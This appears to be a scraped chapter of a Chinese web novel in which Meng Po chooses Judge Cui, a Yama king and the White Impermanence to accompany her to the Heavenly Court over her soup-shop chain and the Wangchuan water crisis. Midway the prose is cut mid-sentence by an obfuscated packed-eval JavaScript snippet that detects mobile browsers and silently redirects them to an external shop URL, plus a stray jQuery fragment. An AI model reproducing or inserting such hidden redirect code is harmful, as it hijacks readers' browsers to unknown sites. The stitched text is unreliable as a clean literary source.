▼酆都城·纣绝阴天宫

    召孟婆神赴天市垣公干的牒文是天曹写的,酆都大帝自然是希望新班子能上天庭露个脸,让虞沐沫从神曹中挑个功曹一同前往。

    “不带。”虞沐沫也不是第一次耍赖,这次不带六案功曹,她理由也算充足,“上面写了让我带两至三位地府要员,此行目的是展示地府治理和幽冥文化,你那几个新上任的懂什么哦~”

    酆都大帝脸色阴沉,他不是不知道神曹去天庭无非是对接工作,而这个地府里能够替虞沐沫“说话”的地府要员,太多了。

    “你说,你想选谁?”酆都大帝最擅长权衡利弊。

    虞沐沫就不擅长了吗?选一个跟酆都大帝一样的老头儿就行,“首选崔判,他既不是我的跟班,又擅长天庭雅言。”

    最重要的是崔判官在四大判官之中,常年处理生死簿、判例、跨部门协调。关于孟婆汤连锁店、功德驿站、投胎率变化、忘川水位危机,他都能替地府解释与斡旋。

    第一位“鬼”选,酆都大帝像是挺满意的,胡子都跟着颧大肌向上扬起,“再选一位。”

    逼近十万店的孟婆汤、地府上下的鬼心只是账面数据。

    让整个地府投胎体系为之运转的商业网络,才是虞沐沫在游戏里的筹码,她答应走这一趟的私心,便是给孟婆汤求一个稳固的靠山。

    可她一旦离开,孟婆汤帝国便无人压阵。唯有土皇姐姐留下,方是它不倾之关键。可三十六位土皇不可离开地府,她只能再寻利益相关的要员。

    “五官王中那位掌管业秤的青冠阎罗。”太和宫的五位女阎罗,只有青冠阎罗最清楚业秤的审判数据,也只有她最适合向王母求黑水平衡忘川河的水位。

    一旦她的排名跌落或退出失败,修白很有可能随这个世界一同消失,而孟婆汤帝国也会因她的离去而分崩离析。

    保住忘川河水位,就必须请这位五官王一同前往。

    酆都大帝沉默了片刻,鱼尾纹和抬头纹抖了抖,“准。着神曹与天曹协同你接洽……”

    “我还要带上白无常。”

    “不许胡闹……”酆都大帝甩着手驱赶她。

    “并非胡闹。”虞沐沫再次打断,“如果只有崔判官、五官王和我,整个天庭都会盯着地府政绩,逐条逐字审判。但是我和修白一同前往,金仙们的注意力便会转移到热闹上,只有少部分仙官会在意地府危机与功过。”

    虞沐沫去天庭,只为了做一件事:把孟婆汤连锁店从地府生意正式升级为三界公共基础设施。她需要一种能够渗入天庭的造势。

    而酆都大帝需要展示的是一个依旧乱中有序的地府。带上修白的提议,他并未同意,也不阻拦。

    “酆老板,默认即同意~再见咯~”虞沐沫很久没能趾高气扬地离开纣绝阴天宫,畅快!

    …

    ▼天市垣(天庭)

    虽只有两面之缘,虞沐沫与青冠阎罗基本默契还是有的。青冠阎罗从帝座直接上紫微垣求黑水,崔判官来帮虞沐沫应付仙官。

    “你当真不一同前往?”青冠阎罗离开前再次确认。

    虞沐沫的眼神乱飘,只顾着搪塞:“我去捣乱,你愿意就带上我吧~”

    忘川水位危机的根源,是投胎效率太高、地府执念消解太快,导致忘川河水量下降。这不是地府自己能解决的。

    昆仑黑水,归天庭管。五官王只需向王母争取黑水的稳定供给,让忘川河不再靠应急续命。另一头,向东王公申请壶中境作为中转站的正式授权,让黑水能进入地府循环系统。

    三界资源调配的长期机制中,具体需求都已经通过天曹呈报天庭,只要地府的投胎效率与天庭的资源供给挂钩,就能从根本解决忘川水位的未来危机。

    虽说作为创始人,虞沐沫理应一同前往谈资源保障。

    但此刻已经不是简单的资源供给与规模,而是地府治理的问题,虞沐沫清楚明白自己的重量。她便留在帝座听崔判官向仙官们分享地府治理和幽冥文化传播。

    …

    市楼、车肆、列肆等市集,远比她想象中要冷寂,秩序井然。

    苍穹与云涛、仙雾相接,星河碎裂又重组。

    银河仿佛从天上低垂到大地,无数集市如同巨轮在其中起航,崔判官正在其中一块“甲板”上演讲。其中很大的篇幅都在讲述孟婆汤的规模、影响、危机。

    台下坐满了仙官。尤其是地府的上级主管部门,地官右府遣来的仙官无一例外地黑面冷脸,仿佛是酆都大帝、秦广王、宋帝王、阎罗王、魏判官一字排开。

    这种冰山上的场合,幸好有崔判官在。对他来说简直是如松得雪,不弯不折,反倒更显苍劲。

    “孟婆汤连锁店,账面上乃地府最大的民间商业网络。然你言其为根基。敢问,它究竟属地府,还是属你?”一位星官拦下演讲完毕的崔判官。

    这一问,更像是逼地府承认,孟婆汤不是虞沐沫的私产。

    而另一位星君的问题更为明显:“忘川水位下降,投胎效率减半,整个地府第一反应便是找孟婆汤。敢问,若无孟婆汤,地府岂非连投胎亦不能?”

    孟婆汤不能没有虞沐沫,但地府必须让它没有她。

    天庭要的不是地府的解释,是地府在这个网络中的归位。而天庭的态度决定了孟婆汤能不能真正跨越地府内部生意的边界。

    “回禀星君,孟婆汤账面上确为孟婆私产。然其根脉,早与地府同气连枝。”

    并不是崔判官夸赞虞沐沫,而是从一开始,她便是这么设计的。

    “孟婆汤生于忘川之畔,长于亡魂之需,其每一碗汤、每一笔账,皆在替地府分忧、为轮回续命。”

    同样的,孟婆汤也属于孟婆。渡魂本就是历任孟婆之责,虞沐沫将其发展成令亡魂安心、令阴司省心的善业。

    至于忘川水位下降,地府并非第一时间找孟婆汤。非因无孟婆、不投胎,而汤已非汤,亦是桥。

    “此桥接的是生死相随的执念,是爱恨交加的重叠,是效率与温度之间的平衡。若无此桥,忘川纵有千尺水,亡魂亦难安渡。惟有此桥,即便水浅三分,亦可稳渡七分。”

    崔判官没说孟婆汤是虞沐沫的私物,只形容为地府轮回体系中,从幽冥间自发长成、更贴鬼心、更合天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945210|207610||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道的基础设施。他争取的无非是把孟婆汤正式移交给地府公共体系,并请天庭背书,保证它不因虞沐沫的退出而消失,也不被任何地府势力所独占。

    那些通俗易懂的天庭雅言,显然是为了让虞沐沫听懂而“雕琢”过的。天上集市如同铺满碧玉的棋盘,她晃着腿,像在计算逃跑路线,哪里顾得上他们的意有所指。

    “沫沫,你得在这听完。”修白的袖口轻轻拂过她的膝头,不动声色地压住。

    消停不到半分钟,她的鞋底在云砖上轻轻蹭着,脖子也抻长几分,一台奔星车舆正穿梭于各市集之间,拖着千尺光带横过夜空。

    星官们招来奔星车舆,挂满天庭出品“飞星传恨”系列文创的辎车,就连牵引的天马都配满了爱意和思念的锦缎。

    见过几面的司命星君凑了过来,从奔星车舆上摘下一对合璧,“参商合璧,有情人终会相逢。本司命替女仙们,将这份心意送到二位手中。”

    昆仑玉璧,色泽温润,悬挂下方的宝坠是紫金累丝嵌玉。修白恭敬地接过星君的赠礼,虞沐沫也跟着行礼道谢。

    “给我看看!”虞沐沫咬着后槽牙,又不敢大声索要。

    一道祥云从他们之间飘过,修白拍了拍收于胸口的合璧,似笑非笑地凑到她耳边:“鉴于你咬过黄金傩面,这对合璧暂时由我保管。”

    “我还咬过你呢!我不咬~让我看看吧…”虞沐沫略带哀求的声音,心却想着扒拉修白那身法服,掏走那对合璧。

    崔判官轻咳一声,眼神还没传过来,便被几位女仙撞开。

    紫兰宫玉女们围着虞沐沫和修白,一仙一句问起钧天戏和洞府话本中所写的细节。

    虞沐沫翻着洞府话本,内容无非是《俏孟婆缠着俊无常不放》《鬼使神差的恋爱日志》《无常大人终于等到了那碗汤》《地府办公室爱情》,并无大修大改……

    只是将名字改成了《孟婆外传》《阴阳志之鬼使神差》《忘川令》《酆都秘史》……

    “戏说成分还是比较高的。”修白站在虞沐沫身后,冷冷丢下一句。

    百花仙子像是不信,追问着故事的后续。

    “孟婆最后离开了。”虞沐沫的回答好似一颗飞星,划破了夜空美梦。她的退出是合法、有序、不可逆的。

    “那无常怎么办?追妻火葬场了吗?”凌波仙子不敢相信“正主”的回答。

    虽不愿意,虞沐沫还是说出了真相。

    她用孟婆身份、三魂系统、仙班资格、孟婆汤经营权,乃至与修白相守的时光,去换一个让孟婆汤成为地府公共品、让修白不必随她消失的退出方案。

    玉女仙子们感叹着故事后续的代价。这世上怎么会有人愿意交出孟婆身份、放弃仙班、离开修白、让渡所有权利……

    但从虞沐沫的角度,这趟天庭之旅,是作为创始人退出前的最后一件公务。而出于本心而言,虞沐沫能与修白来一趟天庭逛街、赏星,也能为彼此分别的时间里多留一些念想。

    更深处还压着一个隐蔽且自私的念头。从天庭回地府,亡魂们或许只当她位列仙班。如此一来,那些需要解释的话,便都省了。